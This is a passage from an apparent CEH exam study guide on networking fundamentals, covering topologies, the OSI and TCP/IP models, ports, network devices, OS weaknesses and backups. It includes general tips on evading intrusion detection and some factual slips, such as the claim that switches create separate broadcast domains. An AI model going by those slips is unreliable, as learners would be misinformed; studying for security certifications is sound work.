foundation of our overall system. Before we explore too far, the first thing you need to
understand is that you must consider two opposing yet related concepts in this section:
the physical layout of the network and the logical layout of the network. The physical
layout of a network relates directly to the wiring and cabling that connects devices. Some
of the common layouts we’ll cover are the bus, ring, star, mesh, and hybrid topologies.
The logical layout of the network equates to the methodology of access to the network,
the stuff you can’t readily see or touch, or the flow of information and other data. We’ll
get to the logical side, but first let’s break down each physical design.
Bus The bus topology (Figure 2.1) lays out all connecting nodes in a single run that acts
as the common backbone connection for all connected devices. As with the public
transport of the same name, signals get on, travel to their destination, and get off. The bus
is the common link to all devices and cables. The downside to its simplicity is its
vulnerability; all connectivity is lost if the bus backbone is damaged. The best way to
envision this vulnerability is to think of those strings of Christmas lights that go
completely out when one light burns out or is removed. Although not seen in its purest
form in today’s networks, the concept still applies to particular segments.
Figure 2.1 Bus topology
Ring Ring topologies (Figure 2.2) are as true to their names as bus layouts. Essentially
the backbone, or common connector of the network, is looped into a ring; some ring
layouts use a concentric circle design to provide redundancy if one ring fails. Each client
or node attaches to the ring and delivers packets according to its designated turn or the
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availability of the token. As you can see in Figure 2.2, a concentric circle design provides
redundancy; though a good idea, a redundant second ring is not required for the network
to function properly. The redundant ring architecture is typically seen in setups that use
Fiber Distributed Data Interface (FDDI).
Figure 2.2 Ring topology
Star The star layout (Figure 2.3) is one of the most common because of its ease of setup
and isolation of connectivity problems should an issue arise. A star topology attaches
multiple nodes to a centralized network device that ties the network together. Think of it
as looking like an old-style wagon wheel or the wheels on a bike. The hub is the
centerpiece of the wheel, and the spokes of the wheel are the legs of the star. The center
could be a hub or a switch; as long as it acts as a central point of connection, you have a
star topology. Stars are popular for numerous reasons, but the biggest reason has long
been its resistance to outages. Unlike nodes in bus and ring topologies, a single node of a
star can go offline without affecting other nodes. However, if the hub or switch joining
everything together fails, then the network will fail.
Figure 2.3 Star topology
Mesh A mesh topology (Figure 2.4) is essentially a web of cabling that attaches a group of
clients or nodes to each other. It can look a little messy and convoluted, and it can also
make troubleshooting a bear. However, this setup is often used for mission-critical
services because of its high level of redundancy and resistance to outages. The largest
network in the world, the Internet, which was designed to survive nuclear attack, is built
as one large mesh network.
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Figure 2.4 Mesh topology
Hybrid Hybrid topologies are by far the most common layout in use today. Rarely will
you encounter a pure setup that strictly follows the topologies previously listed. Our
networks of today are complex and multifaceted. More often than not, current networks
are the offspring of many additions and alterations over many years of expansion or
logistical changes. A hybrid layout combines different topologies into one mixed topology;
it takes the best of other layouts and uses them to its advantage. Figure 2.5 shows one
possibility.
Figure 2.5 Hybrid topology
Gone are the days when an attacker could gain access to the flow of data
on a network only through the use of vampire taps and bus or other layouts. Today,
rogue wireless access points, a lost smartphone, and a little social engineering can
logically put any hacker right through the front door without actually obtaining
physical access.
Working with the Open Systems Interconnection ModelTechnet24.ir
No network discussion or network device explanation would be complete without a brief
overview of the Open Systems Interconnection (OSI) model. Although this model may
seem overly complex, it does have value in our later discussions of attacks, defenses, and
infrastructure, as you will see. The OSI model is a general framework that enables
network protocols, software, and systems to be designed around a general set of
guidelines. Common guidelines allow higher probability of system compatibility and
logical traffic flow. In other words, if we all play by the same rules, everyone will get along
with as few errors as possible.
The OSI model, shown in the left side of Figure 2.6, has seven layers. As you read through
each layer’s function, keep in mind that we are working our way through how data flows.
Each layer is connected to the next; this concept will prove valuable as a reference for
more advanced data analysis.
Figure 2.6 OSI TCP/IP comparative model
You may already have some experience with the OSI model or none at all.
If you are in the latter group, you may have avoided learning the model because it
seems non-applicable to your day-to-day operations. But you must learn it, because it
is essential to furthering your career—and to passing the exam.
The CEH exam will focus on your understanding of the OSI model as it
applies to specific attacks. General knowledge of the model and the stages of traffic
flow within it will help you figure out what each question is asking. Using the OSI
model as a reference when answering questions can help categorize the topic and
help determine what technologies you are dealing with.
Layer 1: Physical The Physical layer consists of the physical media and dumb devices
that make up the infrastructure of our networks. This pertains to the cabling and
connections such as Category 5e and RJ-45 connectors. Note that this layer also includes
light and rays, which pertain to media such as fiber optics and microwave transmission
equipment. Attack considerations are aligned with the physical security of site resources.
Although not flashy, physical security still bears much fruit in penetration (pen) testing
and real-world scenarios.
Stuxnet
A few years ago an interesting little worm named Stuxnet showed up on the scene—
wreaking havoc and destroying industrial equipment. The operation of the virus isn’t
important here; the interesting part was in how the worm spread. Although it did
replicate on the local LAN, the original infection occurred via USB flash drives. The
primary vector was actually physical in nature, and the vector was the unaware user
or perhaps an outsider. The takeaway is never underestimate the complexity of what
can occur from a purely physical perspective.
Layer 2: Data Link The Data Link layer works to ensure that the data it transfers is free
of errors. At this layer, data is contained in frames. Functions such as media access
control and link establishment occur at this layer. This layer encompasses basic protocols
such as 802.3 for Ethernet and 802.11 for Wi-Fi.
Layer 3: Network The Network layer determines the path of data packets based on
different factors as defined by the protocol used. At this layer we see IP addressing for
routing of data packets. This layer also includes routing protocols such as the Routing
Information Protocol (RIP) and the Interior Gateway Routing Protocol (IGRP). This is
the know-where-to-go layer.
Layer 4: Transport The Transport layer ensures the transport or sending of data is
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successful. This function can include error-checking operations as well as working to keep
data messages in sequence. At this layer we find the Transmission Control Protocol (TCP)
and the User Datagram Protocol (UDP).
Layer 5: Session The Session layer identifies established system sessions between
different network entities. When you access a system remotely, for example, you are
creating a session between your computer and the remote system. The Session layer
monitors and controls such connections, allowing multiple, separate connections to
different resources. Common use includes NetBIOS and RPC.
As you progress through the chapters, you’ll notice that much of our
attack surface resides within layers 3, 4, and 5, with a handful of other attacks taking
place outside these layers. Keep this in mind as a reference for questions regarding
attacks at specific layers or when trying to understand the mechanics of an attack and
its defense. Understanding what the layer accomplishes can help you determine how
a specific attack works and what it may be targeting.
Layer 6: Presentation The Presentation layer provides a translation of data that is
understandable by the next receiving layer. Traffic flow is presented in a format that can
be consumed by the receiver and can optionally be encrypted with protocols such as
Secure Sockets Layer (SSL).
Layer 7: Application The Application layer functions as a user platform in which the
user and the software processes within the system can operate and access network
resources. Applications and software suites that we use on a daily basis are under this
layer. Common examples include protocols we interact with on a daily basis, such as FTP
and HTTP.
Two mnemonics that I use to remember the order of layers are these:
All People Seem To Need Data Processing, which uses the first letter of each layer
(from the top down) as the first letter of each word in the sentence: Application,
Presentation, Session, Transport, Network, Data Link, Physical.
Please Do Not Teach Stupid People Acronyms, which does the layers in the opposite
order—that is, from the ground up.
Knowing the operational sequence of these layers serves well as a high-level
troubleshooting tool. Being able to track data traffic from its inception to its destination
will prove to be a useful skill during your exploration and on the exam.
Using the OSI model as a basic framework will provide you with a
reference that will apply to many CEH processes. Usable attacks can all be traced
back to a specific layer or layers of the OSI model.
Dissecting the TCP/IP Suite
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Complementary to the OSI model is the TCP/IP protocol suite. TCP/IP is not necessarily
a direct offshoot, but it’s a progressive step from the standard OSI version of traffic flow.
Each layer of the TCP/IP suite maps to one or several layers of the OSI model. The
TCP/IP suite is important for protocol reference as well as aiding in tracking exactly
where data is in the traffic flow process. The right side of Figure 2.6 earlier in this chapter
shows the TCP/IP suite layers and how they map to the OSI model.
TCP is known as a connection-oriented protocol because it establishes a connection and
verifies that packets sent across that connection make it to their destination. The process
(see Figure 2.7) starts with a SYN packet. This SYN packet starts the handshake process
by telling the receiving system that another system wants its attention (via TCP of
course). The receiving system then replies to the originating system with a SYN-ACK
response. A SYN-ACK response is an acknowledgment response to the original SYN
packet. Once the original sender receives the SYN-ACK response, it in turn responds with
an ACK packet to verify that it has received the SYN-ACK and is ready to communicate via
TCP.
Figure 2.7 TCP three-way handshake
TCP packet sequence numbers are important both for the exam and for
understanding attacks such as session hijacking and man-in-the-middle (MITM)
exploits. You’ll see how this comes into play in Chapter 12, “Session Hijacking.” For
now keep in mind how TCP works and how it uses sequence and acknowledgment
numbers to guarantee data delivery.
To further explain the sequence, a SYN packet has a random beginning sequence
number that will be sent to the target host. Upon receipt of the SYN packet, the
receiving host will respond with a SYN-ACK that has its own randomized sequence
number. The ACK response packet from the first host will bump the sequence
number up accordingly to signify the order of the packets being transferred. Figure
2.8 shows the sequence numbers.
Figure 2.8 TCP sequencing
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You’ll want to become comfortable with TCP and its three-way handshake
process. The surface-level process is fairly easy to understand. Pay close attention to
packet sequence numbers. They will definitely be an exam item.
IP Subnetting
So far we’ve established the basics through an overview of the OSI model layers and the
common network topologies. Let’s get a little deeper into the Network layer and look at IP
addressing and its subnetting capabilities. Our goal here is to flex those subnetting
muscles and get our brains back to thinking about networking and its underlying
nuances. Why? Understanding the basics of subnetting enables you to add specificity to
your efforts and to have a more complete understanding of your target and network
resources.
Subnetting is the logical breakdown of a network address space into progressively smaller
subnetworks. As you break down your address space into smaller subnetworks, you
determine the numbers of network bits and host bits by the requirements of your
network. Network bits and host bits are manipulated by the subnet mask. At this point
I’m hoping you’re saying to yourself, “Oh yeah, I remember this stuff.” If not, please dig
into the details on your own. We are looking at this topic from a fairly high level in terms
of how it will aid our effort as hackers.
Now that you grasp the basics of the subnet mask and how to use it to manipulate the
address space, you can see how knowing a few IP addresses can give you a clue as to how
an organization’s network is laid out. There’s more to come on this topic, but as a quick
example, knowing a single internal IP address can give a hacker much insight into the
company’s addressing scheme.
You will be expected to know how to accomplish basic slash notation for
finding the broadcast address of specific subnets. Additionally, remember the basic
127.0.0.1 for the local loopback address.
Hexadecimal vs. Binary
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Understanding hexadecimal and binary conversion is an important skill to have for the
exam. In the real world, for most network administrators conversion is done either by a
calculator or is not needed, but as an ethical hacker, you have opportunities to apply the
basic conversions to something useful. See Table 2.1 for the basic conversion between
hex, binary, and decimal.
Table 2.1 Hex, binary, and decimal
Hex Binary Decimal
0
0000
0
1
0001
1
2
0010
2
3
0011
3
4
0100
4
5
0101
5
6
0110
6
7
0111
7
8
1000
8
9
1001
9
A
1010
10
B
1011
11
C
1100
12
D
1101
13
E
1110
14
F
1111
15
This should be a refresher for you, but for the exam it is important that you have a
comfortable understanding of the conversion process. To rehash some of the basics,
remember that bits are 1s and 0s, a nibble is 4 bits, and a byte is 2 nibbles. Your
knowledge and ability to apply this across the conversion process will prove important for
questions that expect you to identify network items and traffic based on hexadecimal
values.
TCP flags and their binary or hex values play an integral part in identifying
the type and effectively creating custom scans. You’ll see this in action in Chapter 5,
“Scanning.”
Exploring TCP/IP Ports
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We can’t let you escape the fundamentals without touching on ports. Ports allow
computers to send data out the door while simultaneously identifying that data by
category. What this means is each of the common ports you use is associated with a
particular protocol or particular application. For example, sending data from port 21
signifies to the receiving system that the traffic received is an FTP request because of the
port it came from. In addition, the response from the initially queried system will end up
at the right location because the port from which the traffic came has already been
identified. This holds true for web traffic, mail traffic, and so forth. Knowledge of these
ports and their corresponding protocols and applications becomes important when you’re
scanning a system for specific vulnerabilities. There will be more to come on that, but
first let’s take a look at how these ports are categorized and what the well-known ones
mean to you:
Well-known ports are most common in daily operations and range from 1 to 1023.
Much of the initial portion of this range should be familiar to you. Refer to Table 2.2
for a list of the ports you need to know.
Registered ports range from 1024 to 49151. Registered ports are those that have been
identified as usable by other applications running outside the user’s present purview.
An example would be port 1512, which supports Windows Internet Name Service
(WINS) traffic. Take a look at Table 2.3 for a list of registered ports of interest.
Dynamic ports range from 49152 to 65535. These are the free ports that are available
for any TCP or UDP request made by an application. They are available to support
application traffic that has not been officially registered in the previous range.
Table 2.2 Well-known ports
Port
Use
20–21
FTP
22
SSH
23
Telnet
25
SMTP
42
WINS
53
DNS
80, 8080 HTTP
88
Kerberos
110
POP3
111
PortMapper - Linux
123
NTP
135
RPC-DCOM
139
SMB
143
IMAP
161, 162 SNMP
389
LDAP
445
CIFS
514
Syslog
636
Secure LDAP
Table 2.3 Registered ports of interest
Port
Use
1080
Socks5
1241
Nessus Server
1433, 1434 SQL Server
1494, 2598 Citrix Applications
1521
Oracle Listener
2512, 2513 Citrix Management
3389
RDP
6662–6667 IRC
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You must familiarize yourself with all the ports mentioned here if you are
to master the exam and become a CEH. Take the time to memorize these ports—this
knowledge will also come in handy when performing later exercises and activities in
this book.
Domain Name System
Don’t want to remember all those IP addresses? Well, you don’t have to thanks to the
Domain Name System (DNS) and its ability to translate names to IP addresses and back.
The DNS that you may already be aware of, even if you don’t actively think about it, is the
one used to translate names to IPs on the Internet. DNS is incredibly powerful and easy
to use, but at the end of the day it is simply a database that contains name-to-IP mappings
that can be queried by any DNS-aware applications.
The Internet root servers, or top-level servers, include the addresses of the DNS servers
for all of the top-level domains, such as .com and .org. Each top-level server contains a
DNS database of all the names and addresses in that domain.
Local networks that are isolated from the Internet may use their own domain name
systems. These translate only the names and addresses that are on the local network.
They often use DNS management software and protocols, which are similar or identical to
those used by the Internet implementation.
The Importance of DNS
In this book we’ll discuss many attacks against systems, a portion of which will
include manipulating DNS. Although DNS is a simple service and its loss may seem
only an inconvenience, this is far from the case. In many modern environments,
applications may not work without DNS present and functioning. Tools such as
Microsoft’s Active Directory won’t work at all without DNS present or accessible.
Understanding Network Devices
We’ve covered the basic design fundamentals of common local area network layouts. Now
let’s fill in the gaps by exploring those common networking devices that you typically see
in a larger network setup.
Routers and Switches
Routers and switches are integral to the successful operation of nearly all of today’s
modern networks. For that matter, many of our home networks are now advancing to
their own local routing and switching capabilities not seen in homes just a decade ago.
Remember that routers connect networks and that switches simply create multiple
broadcast domains. Yes, back to the good stuff indeed, but don’t shy away just yet;
concepts such as broadcast domains will play a large part in our more interesting
endeavors, such as sniffing and packet capturing. A solid understanding of the functions
of routers and switches will give you a substantial edge when spying out goodies on a
network (authorized spying of course!).
Routers
Let’s begin with routers. Our aim here is to give you a firm understanding of the basic
functions of routers, so you’ll use this knowledge for more complex hacking techniques
and tools. A quick overview of the fundamentals: A router’s main function is to direct
packets (layer 3 traffic) to the appropriate location based on network addressing. Because
routers direct traffic at the Network layer, they are considered layer 3 devices. When
talking about routers, we are talking about common protocols such as IP—that is, we are
dealing with IP addressing. Routers are also used as a gateway between different kinds of
networks, such as networks on different IP ranges or networks that don’t understand
each other’s protocol. For example, in an enterprise or business setup, it’s not possible to
jam a fiber-run T1 connection into a client computer and expect to have blazingly fast
network speeds. The computer, or more accurately the network interface card (NIC), is
not capable of speaking the same language as the outside connection. Routers bridge that
gap and allow the different protocols on different networks to communicate.
Routers also use Network Address Translation (NAT). This is an extremely useful
technology that allows internal network clients to share a single public IP address for
access to the outside world. Essentially a router has two interfaces: one for the outside
world and one for the internal network. The outside connection, or the public side, is
assigned a public IP address purchased from a local Internet service provider (ISP). The
internal side of the router is connected to your local intranet, which contains all of your
internal IPs and your protected resources. From the internal side you are free to create
any IP scheme you want because it’s internal to your site. When an internal client then
makes a request for an outside resource, the router receives that traffic and sends it out
the public side with its public IP. This process safeguards the internal client’s IP address
and also funnels all outbound requests through the same public IP. Because NAT is so
common these days, you rarely notice that it’s actually occurring.
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Real-world reasoning behind using NAT is not just for security’s sake. It’s
a major money saver for the business as well as a method of conserving IP addresses
for the ISP.
Switches
Switches deliver data (frames) based on the hardware addresses of the destination
computers or devices. Hardware addresses, also called media access control (MAC)
addresses, are permanent identifiers burned into each NIC by the manufacturer. MAC
addresses are broken down into a six-pair hexadecimal value—for example, c0-cb-38-ad2b-c4. The first half of the MAC is specific to the manufacturer. So, in this case the c0-cb38 identifies the vendor. The ad-2b-c4 identifies the device or NIC itself. Switches are
considered layer 2 devices because they operate just one level below the layer 3 router
functions. Remember, layer 3 is the Network layer. The Network layer contains all the IP
addressing; layer 2 deals strictly with MAC addresses (see Exercise 2.1). Note that quite a
few switches are available today that operate at both layer 2 and layer 3, but for
simplicity’s sake, and for our purposes, switches are at layer 2.
Working with MAC Addresses
EXERCISE 2.1
Finding the MAC Address
Since we are mentioning MAC addresses, you should be familiar with what they look
like as well as how to locate one on a given system. With that in mind, this exercise
shows you how to find the MAC address.
On a Windows system, follow this step:
1. On a Windows system, open a command window and enter ipconfig/all. The
characters next to the physical address are the MAC address.
On a Linux system, follow this step:
1. On a Linux system, open a shell and enter ifconfig.
Note that with both systems it is possible to see more than one MAC address if the
system has more than one NIC installed or a virtual adapter.
To extend our conversation on switches a bit further, let’s take a quick peek at broadcast
domains and collision domains since this concept will directly impact our networkscanning capabilities. A broadcast domain simply means that traffic sent across the wire
will be broadcast to all hosts or nodes attached to that network. Address Resolution
Protocol (ARP) requests, which are sent to the network to resolve hardware addresses, are
an example of broadcast traffic. Collision domains are network segments in which traffic
sent will potentially collide with other traffic. In a collision domain, data sent will not be
broadcast to all attached nodes; it will bump heads with whatever other traffic is present
on the wire. So what this means is that when you throw your little penetration testing
laptop on a wire and connect to a switch, you need to be aware that no matter how
promiscuous your NIC decides to be, your captured traffic will be limited to the collision
domain (aka switchport) you are attached to.
Techniques used to convert a switch into a giant hub and thus one large
collision domain will be addressed in future chapters. For now just understand the
initial limitations of a switch in terms of sniffing and packet capture.
With the explosion of wireless routers and switches that have flooded the market in the
last decade, sniffing has regained some of its prowess and ease. Sniffing a Wi-Fi network
captures traffic from all of its clients; it is not limited to a particular switchport collision
domain. A simple utility and a laptop can pull in some amazingly useful data.
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Hubs are devices similar to switches except they operate at the Physical
layer and are considered dumb devices. They make no decisions in terms of data
direction or addressing. Highly reduced prices and increased focus on security have
allowed switches to make hubs virtually obsolete, except in specific applications.
Proxies and Firewalls
No network device discussion would be complete without delving into the world of
proxies and firewalls. These devices are the bread and butter of ethical hackers in that
they are the devices deliberately put in place to prevent unauthorized access. To test the
strength of an organization’s perimeter is to ensure that its perimeter gate guard is alive
and well.
Proxies
Proxy servers work in the middle of the traffic scene. You may have been exposed to the
forwarding side of proxies; for example, your browser at work may have been pointed to a
proxy server to enable access to an outside resource such as a website. There are multiple
reasons to implement such a solution. Protection of the internal client systems is one
benefit. Acting as an intermediary between the internal network client systems and
outside untrusted entities, the proxy is the only point of exposure to the outside world. It
prevents the client system from communicating directly with an outside source, thereby
reducing exposure and risk. As the middleman, the proxy also has the capability of
protecting users (client systems) from themselves. In other words, proxies can filter
traffic by content. This means proxies operate at the Application layer (layer 7).
A substantial leg up on lower-level firewalls, proxies can filter outgoing traffic requests
and verify legitimate traffic at a detailed level. Thus, if users try to browse to, say,
hackme.com, they’ll be denied the request completely if the filters are applied to prevent
it. Proxies also speed up browsing by caching frequently visited sites and resources.
Cached sites can be served to local clients at a speed much faster than downloading the
actual web resource.
The concept of proxy operation is applicable to other realms besides just
caching traffic and being an Application layer firewall. In Chapter 12, session
hijacking uses proxy-like techniques to set up the attack.
Firewalls
The firewall category includes proxy firewalls; however, because of a proxy’s varied
functions it seems appropriate to give them their own subsection. Firewalls are most
commonly broken down into the following main categories:
Packet filtering
Stateful packet filtering
Application proxies, which we covered earlier
Packet-filtering firewalls look at the header information of the packets to determine
legitimate traffic. Rules such as IP addresses and ports are used from the header to
determine whether to allow or deny the packet entry. Stateful firewalls, on the other
hand, determine the legitimacy of traffic based on the state of the connection from which
the traffic originated. For example, if a legitimate connection has been established
between a client machine and a web server, then the stateful firewall refers to its state
table to verify that traffic originating from within that connection is vetted and legitimate.
Firewalls and proxies are only as effective as their configuration, and their
configuration is only as effective as the administrator creating them. Many firewall
attacks are intended to circumvent them as opposed to a head-on assault; for us
hackers, the softest target is our aim.
Intrusion Prevention and Intrusion Detection Systems
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Intrusion prevention systems (IPSs) and intrusion detection systems (IDSs) are
important considerations for any smart hacker. It is important for you, as a hacker, to
cover your tracks and keep a low profile—as in no profile at all. It should be common
sense, but consider this: If instead of tiptoeing around a network, you slam the network
with ARP requests, ping sweeps, and port scans; how far do you think you’ll get? Exactly!
Not far at all. IPSs and IDSs are network appliances put in place to catch the very activity
that serves our purposes best. The key is to walk lightly but still walk. First let’s
familiarize ourselves with IPS and IDS basics; if you know how something works, you can
also learn how to circumvent its defenses.
The goal of an IDS is to detect any suspicious network activity. The keyword here is
detect. An IDS is passive in nature; it senses a questionable activity occurring and
passively reacts by sending a notification to an administrator signifying something is
wrong. Think of it as a burglar alarm. While a burglar alarm alerts you that a burglar is
present, it does not stop the burglar from breaking in and stealing items from you.
Although such an appliance is passive, the benefit of using it is being able to reactively
catch potentially malicious network activity without negatively impacting the operation of
the network as a whole. The obvious drawback is that the only response such an appliance
creates is a notification. IPSs, on the other hand, are proactive and preventive. Not only
does an IPS sense potential malicious activity on the network; it also takes steps to
prevent further damage and thwart further attacks.
Network Security
Many books deal with network security, but here we focus on what hackers can use.
Firewalls and IDS/IPS appliances are part of a secure network, but in this section we’ll
look briefly at the placement and functional value of each device. As you venture through
the details, keep in mind that securing a network is a holistic process; breaking into a
network, on the other hand, is a focused process. Consider it akin to building a dam. As
the engineer of a dam, you must consider the integrity of the entire structure and plan
accordingly. If you are looking to sabotage the dam, then all it takes is just one little poke
in the right place and it all comes flooding down. The same is true with network security.
Taking our fundamental knowledge of firewalls, whether proxy or network, let’s look at
some basic placement strategies that are commonly used in today’s networks.
Figure 2.9 is a basic setup you’ll run into in nearly every household setup today. Of course
this isn’t necessarily the enterprise-level network you’ll be attacking, but this basic layout
still encompasses the ingredients of the vulnerable points of larger layouts. The purpose
of including this design is to give you an idea of how closely it relates to our larger
network.
Figure 2.9 Residential network setup
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Vulnerability in an Enterprise
Even in the most secure facilities, there remains a risk of network security
compromise by rogue devices. This essentially creates a residential risk environment
in an enterprise-level network. Of course, the stakes and the potential resource loss
are much higher, but the dynamic of the risk is the same. For example, when I
worked as a network admin in one of my federal positions, we had the entire facility
secured with key-carded doors, two-factor authentication, and respectable perimeter
building security. It took only a single rogue wireless access point to reduce our
entire network security effort to something you could pull out of a box from
Walmart. All joking aside, this is just one simple example of the inadvertent, yet
useful, vulnerability that is more common than you can imagine.
Now that we’ve pushed past the basic vulnerabilities of our homegrown residential
wireless setup, let’s dive right into a full-blown enterprise example. The enterprise
environment we’ll be tasked with pen testing is similar to the one in Figure 2.10.
Figure 2.10 Typical enterprise network
As you can see, there are layers of protection to keep unauthorized visitors from perusing
the internal network. A layered defense applies multiple levels (layers) of defensive
roadblocks in the hope a hacker will get stuck midstream. Not all organizations have the
funds to install such a solution, nor do they have personnel on hand properly trained to
stay up to date and configure the protective appliances properly. A $10,000 firewall is
only as good as the administrator maintaining it. In addition, as ethical hackers we can
rely on a wonderful variable for vulnerability generation: our beloved users.
Knowing Operating Systems
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We’ll say more about operating systems when we discuss scanning and enumeration, but
for now we are interested in laying out the fundamentals of each of the common OSs on
the market today. Remember Achilles from Greek mythology? The hero who got shot in
the heel and died because of it? Granted, this is an oversimplification of the total story,
but the point is when attacking or pen testing a client’s network you must find the
Achilles heel. We are not necessarily going to continually hammer away at a world-class
firewall solution or attempt to attack a back-end database server directly. We are going to
find that one unpatched client system or web server running an antiquated Internet
Information Services (IIS) version. What does all this banter have to do with operating
systems? Operating systems offer some common vulnerabilities if not configured
properly by the administrator, and as surprising as it may seem, quite a few organizations
are running a fresh-out-of-the-box copy of an OS.
Microsoft Windows
Although there are many different operating systems, in all likelihood it will be a flavor of
Microsoft’s Windows OS that you will test against. There are other OSs in the wild that
have a certain amount of enterprise market presence, but Microsoft still has a massive
foothold on the OS market. By the end of 2013, Windows was the installed OS of choice
for over 90 percent of the market. That’s a pretty big target! With the release of Windows
10 Microsoft has set the goal of getting their operating system on over a billion desktops.
Windows has tackled the issue of user account versus administrative
account functionality for quite some time. Most users used to log in as local
administrators 90 percent of the time simply because user account actions were so
limited. User Account Control (UAC), which was introduced in Windows Vista, is
Microsoft’s answer to this issue.
Let’s take a look at some common vulnerabilities of this market dominator:
Patches, patches, and more patches. Microsoft, being an OS juggernaut, constantly
compiles and distributes patches and service packs for its operating systems. But those
patches may not get installed on the systems that need them most. As strange as it
may seem, constant updating may in itself become a problem. It is not uncommon for
a patch or update to be applied and introduce other problems that may be worse than
the original.
Major version releases and support termination impact Windows products. Yes, I have
friends who still love their Windows 98 machines. What this translates into is a
system with multiple vulnerabilities simply due to age, especially if that system is no
longer supported by the manufacturer.
Attempts at consumer friendliness have been a tough road for Microsoft. What this
means is most installations deploy default configurations and are not hardened. For
example, ports that a user may never use are left sitting open just in case a program
requires them in the future.
Administrator accounts still remain a tempting target. Admittedly, Microsoft has taken
some effective steps in protecting users from unwanted or suspicious code execution,
but quite a few systems exist that are consistently running admin accounts without
any kind of execution filtering or user account control.
Passwords also remain a weak point and a tempting target in the Windows world.
Weak admin account passwords are common on Windows computers and networks;
although these passwords are controlled by Group Policy in an enterprise
environment, there are ways to circumvent these requirements, and many system
admins do just that.
Disabling Windows Firewall and virus protection software is an ongoing issue for
Windows OSs. The Notification Center does notify the user of the lack of virus
protection or a disabled firewall, but that’s as far as it goes. Granted, it’s not
something that can be mandated easily, so proper virus protection remains a
vulnerability in the Windows category.
More a scanning consideration but also a potential vulnerability,
Windows’ default behavior is to respond to scans of open ports—as opposed to Linux,
which defaults to no response at all. This will be addressed further when we explore
scanning and enumeration.
Mac OS
Apple and its proprietary OS are making a larger and larger market presence, boosted by a
strong advertising campaign and easy-to-use products. Apple products are now making
their way not just to the local Starbucks but into enterprise settings. In one company I
worked for recently, it started with the iPhone. Then all of sudden we started seeing iPads
walking down the halls. Then iMac desktops suddenly started appearing on users’ desks.
Can they be classified as toys? Perhaps, but of greatest importance to both system admins
and pentesters is that these things are attached to the network.
One interesting site that can be used for general comparison of system vulnerabilities is
www.cvedetails.com. A quick perusal of the site for Max OS vulnerabilities brings up quite
a list, such as the following. We intend no Apple bashing, but it’s a definite growing
concern for enterprise administrators and a growing target for hackers like us.
A primary concern among Mac users, and a benefit to the hacking community, is the
Mac owner mind-set that Macs aren’t susceptible to viruses or attack. It is an
interesting stance considering that the thing they are claiming to be naturally
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impervious from attack is, well, a computer! Even in my own painful years as a system
administrator, the culture is similar even at the enterprise level. I remember calling
our national office for guidance on group policies for our newly acquired Apple
desktops. Answer: “Um, well, we don’t have any policies to apply or a method of
applying them.”
Feature-rich out-of-the-box performance for many Apples creates quite a juicy attack
surface for those looking to break in. Features such as 802.11 wireless and Bluetooth
connectivity are all standard in an out-of-the-box installation, and such features are all
on the table for a potential doorway in.
Apple devices simply don’t play well on a Windows domain. Yep, I said it. I’m sure
some would fervently disagree, but Apple on a Windows domain is like spreading
butter on toast outside in December in Grand Forks, North Dakota. Some features will
play nicely, but the majority of those integral features will be a bit hokey. The point
here is when stuff begins to get too hokey, administrators and users alike will begin to
circumvent the normal processes (for example, appropriate login procedures).
Android
First released in November of 2007, the Android OS has quickly grown up and expanded
its install base to over a billion devices worldwide. With such a widely installed and
encountered operating system, the reality is that you will encounter the platform at some
point if you don’t already own it or have encountered it in some way.
Android has proven popular and has seen such rapid growth largely due to its extreme
amount of flexibility, power, customizations, open design, and the fact that it is free to
use. Add to this combination of factors the fact that it has been heavily marketed and
pushed by tech behemoth Google and you have a recipe for a widely adopted and
supported system. Finally, Android is also widely embraced by many technology
enthusiasts due to the fact that it is derived from the extremely popular Linux operating
system.
Currently, Android is estimated to be on at least 80 percent or more of the smartphones
in use today. Similar numbers are seen on tablet devices as well.
Of course, this dominance of the market comes with its problems, one of them being
counterfeit devices from overseas. These devices can be purchased easily and for very low
cost, making them easy to obtain. However, you don’t get something for nothing, and
many of these devices are loaded with malware.
Android, much like the Linux operating system it is derived from, comes
in many different versions. The most current official version by Google is Android 6
(codenamed Marshmallow) and was released in early October 2015. But in addition
to the official versions there are many highly customized versions of Android,
including SlimRoms, Dirty Unicorns, and CyanogenMod.
Linux
Enter our open source favorite, Linux, which is not a completely foolproof operating
system but one with a reputation for being a much more secure player in the OS category
than Windows or Apple. As we saw with firewalls, the equipment—or in this case the
operating system—is only as secure as the administrator configuring it. With Linux, this
is particularly true because the OS does expect users to know what they are doing.
For someone entering the penetration testing field, one distribution of
Linux is very popular and that is Kali Linux. Kali is a distribution of Linux that
includes a number of tools preloaded into the system that allow a wide range of
attacks and tests to be performed.
The OS has done a good job of separating administrative tasks from user accounts. Linux
users aren’t usually running under the administrative account as superuser or root. This
substantially reduces system risk by segregating these functions.
Open source is a double-edged sword. The open source community works hard to ferret
out even the smallest issue in different iterations of Linux, but open source also means
it’s open. Anybody and everybody are privy to the source code. As an open source product,
the responsibility of ensuring the security and hardening of the OS rests more or less on
the shoulders of the administrator installing and maintaining it. Given the right skillset, a
Linux administrator has an ample amount of granularity in terms of locking a system
down; it is just a matter of doing it, and doing it properly.
Backups and Archiving
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Backing up data is essential to the survival and continuation of integral operations.
Anyone in the support field who has spent an entire weeknight restoring a server can
attest to this. Let’s cover a few of the basic backup schemes you’ll see in the wild.
The archive bit is a file attribute that signifies to the system if and when a
file has been modified. This archive bit is then used in a backup scheme to determine
whether a file needs to be backed up.
Full Backup A full backup resets the archive bit of all files and backs them up
accordingly.
Differential Backup This backs up all changed files since the last successful full
backup. This job does not reset the archive bit. The reasoning behind not resetting the
archive bit? Each differential is always based on the last full backup. Thus, any changes
made since that last full backup are backed up…and backed up…and backed up. The
benefit to this scheme is that during a full restore, only the last full backup and the most
recent differential are needed to restore the entire site. The downside is that differentials
can get huge!
Incremental Backup This job backs up all changed files since the last successful full
backup or since the last incremental. An incremental backup does reset the archive bit.
What this equates to is a backup scheme that focuses on efficiency in the initial process.
How? Once an incremental scheme has performed an incremental backup based on the
last full, it bases all subsequent backups on the last incremental. In other words, you get a
bunch of small backup jobs, all with the most recent changes. What this translates into is
a tedious and lengthy full restoration job. The last full backup will need to be restored, as
well as all the incrementals up to the current date.
The intent here is not to make you a proficient backup operator but to
make sure you understand the basics of each scheme and what kind of impact the
loss or compromise of such data can have on a company. Also, from an exam
perspective you should know the benefits of one restore versus another (for example,
the benefits of a full restore versus a differential restore).
Summary
Two complementary yet opposing concepts are at play when talking about network
topologies: logical topology (how traffic enters the network) and physical topology.
Common physical topologies are the bus, ring, star, mesh, and hybrid (the most
common). A token can be passed around for permission to transmit, or a shared media
strategy can be used in which nodes listen for an opening.
The OSI model is an industry standard for data communication. It is broken into seven
layers: Application, Presentation, Session, Transport, Network, Data Link, and Physical.
